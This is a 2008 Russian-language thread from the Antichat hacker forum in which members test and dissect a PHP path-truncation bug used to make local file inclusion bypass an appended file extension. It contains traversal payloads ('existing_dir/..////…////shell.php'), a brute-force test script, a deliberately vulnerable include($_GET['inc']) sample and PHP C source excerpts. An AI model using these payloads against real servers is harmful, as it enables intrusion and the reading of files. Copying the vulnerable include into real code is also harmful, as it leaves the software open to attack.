
30.12.2008, 14:39
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами:
10109126
Репутация:
1980
|
|
PHP 4.4.2 WinXP 32 bit - работает
PHP 4.4.4 WinXP 32 bit - работает
PHP 5.1.2 WinXP 32 bit - работает
PHP 5.2.0 WinXP 32 bit - работает
PHP 4.4.4 Vista 32 bit - работает
PHP 5.2.0 Vista 32 bit - работает
PHP 5.2.6 Vista 32 bit - работает
PHP 5.2.8 FreeBSD 6.3 - работает
В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.
убираю точку в подгружаемом расширении и уже не работает.
у меня такого не наблюдалось ни на винде, ни на линуксе.
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.
об этом уже писал
Предлагаю заняться ииследованием сорцов для выяснения причин баги. Возможно удастся понять от чего зависит длина необходимой последовательности.
@1ten0.0net1
на твоем живом примере не работает, потому что доставляется ./:
include(./documents/../../../../../../../../../../../etc/shells.php)
Последний раз редактировалось [Raz0r]; 30.12.2008 в 14:42..
|
|
|

30.12.2008, 19:48
|
|
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами:
10960226
Репутация:
1424
|
|
Сообщение от [Raz0r]
В общем везде, где проверял у меня работало. Возможная проблема у тех, у кого не работало - вы указывали абсолютный путь, с ним уязвимость не работает.
у меня такого не наблюдалось ни на винде, ни на линуксе.
у меня вот:
PHP код:
<?php
$f="aaaa.php".str_repeat('/',$argv[1]);
$z=getcwd();
$u=$f.'.fffffffff';
$v=$z.'/'.$f;
print strlen($v)."\n";
require($u);
?>
[test@localhost cli]$ ./php ./test.php 4047
без точки не работает.
Сообщение от [Raz0r]
из корневой папки без спуска ../ не хочет работать тоже, пашет при спуске через типа:
zzzzzzzzz/../../../ и тп папке zzzzzzzzzz существовать не обязательно.
об этом уже писал
ты писал что папка должна существовать.
где existing_dir имя существующей папки
у меня выпоняется без этого условия.
|
|
|

30.12.2008, 20:31
|
|
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами:
10960226
Репутация:
1424
|
|
потом файл tsrm_virtual_cwd.c
функция virtual_file_ex:
free_path = path_copy = tsrm_strndup(path, path_length);
ptr = tsrm_strtok_r(path_copy, TOKENIZER_STRING, &tok);
тут TOKENIZER_STRING у меня равен "/" в винде наверно чтото другое.
файл tsrm_strtok_r.c
char *tsrm_strtok_r(char *s, const char *delim, char **last)
{
char *token;
if (s == NULL) {
s = *last;
}
while (*s && in_character_class(*s, delim)) {
s++;
}
if (!*s) {
return NULL;
}
token = s;
while (*s && !in_character_class(*s, delim)) {
s++;
}
if (!*s) {
*last = s;
} else {
*s = '\0';
*last = s + 1;
}
return token;
}
потом опять файл tsrm_virtual_cwd.c
функция virtual_file_ex:
и тут наверно и идет бага:
while (ptr) {
...
} else if (!IS_DIRECTORY_CURRENT(ptr, ptr_length)) {
...
memcpy(&state->cwd[state->cwd_length], ptr, ptr_length+1);
...
ну а символ точка это как раз и есть 'IS_DIRECTORY_CURRENT' , следовательно можно использоывать не только длинную строчку из '/' а ещё и '/.'
остается конечно не понятно почему без точки в конце не пашет
Последний раз редактировалось ShAnKaR; 30.12.2008 в 20:49..
|
|
|

30.12.2008, 21:38
|
|
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами:
10960226
Репутация:
1424
|
|
в винде по идее еще должно проходить с нормальным слешем и обратным:
#ifdef TSRM_WIN32
#include <tchar.h>
#define tsrm_strtok_r(a,b,c) _tcstok((a),(b))
#define TOKENIZER_STRING "/\\"
проверил php 4.4.9:
файл streams.c функция _php_stream_fopen_with_path
snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
/* If file does not exist continue */
if (VCWD_STAT(trypath, &sb) != 0) {
ptr = end;
continue;
}
VCWD_STAT ( практически стандартная файловая функция stat ) проверяет сначала существует ли файл а потом php уже пытается открыть в пятой такого не заметил, тоесть у меня не заработало на четвертой версии, у вас как?
Последний раз редактировалось ShAnKaR; 21.02.2009 в 17:29..
|
|
|

01.01.2009, 17:51
|
|
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами:
10960226
Репутация:
1424
|
|
вот на php 4 можно так тогда, да и на пятой тоже соответственно:
existing_dir/..//////////////////////// ... ///////////////////shell.php
окончание если есть обрежет по maxpathlen тогда
|
|
|

30.12.2008, 14:48
|
|
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
С нами:
10326626
Репутация:
1617
|
|
Вообщем написал скрипт для быстрой проверки.
Складываем в папку z:/home/localhost/www/testinc/
Скрипт становится доступным по адресу http://www.localhost/testinc/test.php
Скрипт который запускаем ( test.php)
PHP код:
<?php
$evilstr = "";
$fp = fopen("log.txt","a");
for ($x=0;$x<=500;$x++){
$evilstr .= "<";
$content = file_get_contents("http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr);
if (preg_match("#(.*)bugworking(.*)#",$content,$matches)){
echo "http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr."\r\n";
die ("Bug working with $x added chars");
}else{
fputs($fp, $content."\r\n\r\n");
}
}
fclose($fp);
?>
Скрипт который инклюдит inc.php ложим туда же
PHP код:
<?php
error_reporting(E_ALL);
include($_GET['inc'].".txt");
?>
и ложим файл vuln.txt с содержимым
запускаем в браузере http://www.localhost/testinc/test.php
Получаю в ответ, что бага работает 216 символов и более.
Версии
PHP Version => 5.2.4
Windows NT XHOME 5.1 build 2600 Build Date хр короче
Apache 2.2.4
но стоит прописать абсолютный путь в любом варианте, и больше ни чё не пашет.
PHP код:
<?php
error_reporting(E_ALL);
include("Z:/home/localhost/www/testinc/".$_GET['inc'].".txt");
?>
Внимание вопрос. Почему ?
У кого есть идеи ?
то есть я не вижу объективных причин не работать с абсолютным путём.
__________________
Бойтесь своих желаний. Они могут исполниться....
...О-о-о-о, ушами не услышать, глазами не понять!
Последний раз редактировалось SQLHACK; 30.12.2008 в 15:35..
|
|
|

30.12.2008, 19:24
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Тоже потестил, вот результат :
Конфигурация:
WinXP 32 bit, PHP 5.2.4, Апач 2.2.4
Работает
Цифра это минимальное кол-во символов
"."-218
" "пробел - никакой реакции
"<"-218
">"-218
С абсолютным путём не пашет Пока тестил только в include
И обнаружился ещё один символ, с которым работает:
"+"-218
|
|
|

30.12.2008, 19:31
|
|
Постоянный
Регистрация: 14.07.2005
Сообщений: 964
С нами:
10960226
Репутация:
1424
|
|
кароч:
файл plain_wrappers.c
функция _php_stream_fopen_with_path:
snprintf(trypath, MAXPATHLEN, "%s/%s", ptr, filename);
stream = php_stream_fopen_rel(trypath, mode, opened_path, options);
там же функция _php_stream_fopen (тоже что php_stream_fopen_rel)
if ((realpath = expand_filepath(filename, NULL TSRMLS_CC)) == NULL) {
return NULL;
}
...
fopen(fname, ...
fname уже нормальный
дальше файл fopen-wrappers.c функция expand_filepath:
char cwd[MAXPATHLEN];
cwd[0] = '\0';
new_state.cwd = strdup(cwd);
new_state.cwd_length = strlen(cwd);
if (virtual_file_ex(&new_state, filepath, NULL, CWD_FILEPATH)) {
free(new_state.cwd);
return NULL;
}
real_path = estrndup(new_state.cwd, new_state.cwd_length);
real_path уже нормальный, MAXPATHLEN везде (не знаю как там у вас в виндах) = 4096;
ну что видно из этого идет везде сначала
xxx.php/////////..../////////////.txt
потом по MAXPATHLEN обрезается до
xxx.php/////////..../////////////.
дальше обрабатывается видимо функцией virtual_file_ex , она возвращает false и изменяет new_state.
Последний раз редактировалось ShAnKaR; 30.12.2008 в 19:52..
|
|
|

30.12.2008, 15:21
|
|
Time out
Регистрация: 28.11.2005
Сообщений: 547
С нами:
10762826
Репутация:
1348
|
|
Скрипт SQLHACK переделаный под себя не работает. Имхо - с 4.4.0 не работает
__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.
|
|
|

30.12.2008, 15:56
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
копать сорцы пшп?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|